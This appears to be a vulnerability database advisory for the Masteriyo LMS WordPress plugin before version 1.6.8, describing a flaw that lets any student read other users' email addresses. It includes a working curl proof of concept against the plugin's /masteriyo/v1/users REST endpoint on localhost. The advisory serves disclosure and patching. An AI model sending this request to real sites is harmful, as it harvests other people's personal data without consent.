WordPress Plugin Vulnerabilities

LMS by Masteriyo < 1.6.8 - Information Exposure

Description

The plugin does not properly safeguards sensitive user information, like other user's email addresses, making it possible for any students to leak them via some of the plugin's REST API endpoints.

Proof of Concept

curl -i -s -k -X $'GET' \
    -H $'Host: localhost:8000' -H $'sec-ch-ua: ' -H $'Accept: application/json, */*;q=0.1' -H $'sec-ch-ua-mobile: ?0' -H $'X-WP-Nonce: 7ba3ba53b8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36' -H $'sec-ch-ua-platform: \"\"' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: http://localhost:8000/?page_id=1124' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
    -b $'masteriyo_items_in_cart=1; masteriyo_cart_hash=c53d2204151eafc62e95f393f0f0d543; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1687379163%7CnhHtigdheYNJeh7RCZ6w0mmiRr1eUE2rMzzuxbzJ6ml%7Ccef7decae7195d6c197dc332435a65745a6a050db06add877a248088b0a3d2cf' \
    $'http://localhost:8000/index.php?rest_route=/masteriyo/v1/users&_locale=user'

Affects Plugins

References

Classification

Type
SENSITIVE DATA DISCLOSURE
CWE

Miscellaneous

Original Researcher
Yassir Sbai Fahim
Submitter
Yassir Sbai Fahim
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-07-10 (about 10 months ago)
Added
2023-07-10 (about 10 months ago)
Last Updated
2023-07-10 (about 10 months ago)

Other